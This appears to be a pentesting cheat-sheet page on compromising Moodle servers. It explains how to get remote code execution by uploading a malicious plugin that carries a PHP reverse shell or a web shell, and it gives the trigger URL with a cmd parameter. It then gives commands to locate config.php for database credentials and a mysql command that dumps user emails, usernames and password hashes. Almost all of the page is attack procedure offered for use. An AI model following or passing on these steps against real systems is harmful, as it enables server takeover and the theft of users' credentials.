CVEs

I found that the automatic tools are pretty useless finding vulnerabilities affecting the moodle version. You can check for them in https://snyk.io/vuln/composer:moodle%2Fmoodle​

RCE

You need to have manager role and you can install plugins inside the "Site administration" tab**:**
If you are manager you may still need to activate this option. You can see how ins the moodle privilege escalation PoC: https://github.com/HoangKien1020/CVE-2020-14321.
Then, you can install the following plugin that contains the classic pentest-monkey php rev shell (before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again)
moodle-rce-plugin.zip
3KB
Binary
Or you could use the plugin from https://github.com/HoangKien1020/Moodle_RCE to get a regular PHP shell with the "cmd" parameter.
To access launch the malicious plugin you need to access to:
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

Find database credentials

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

Dump Credentials from database

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
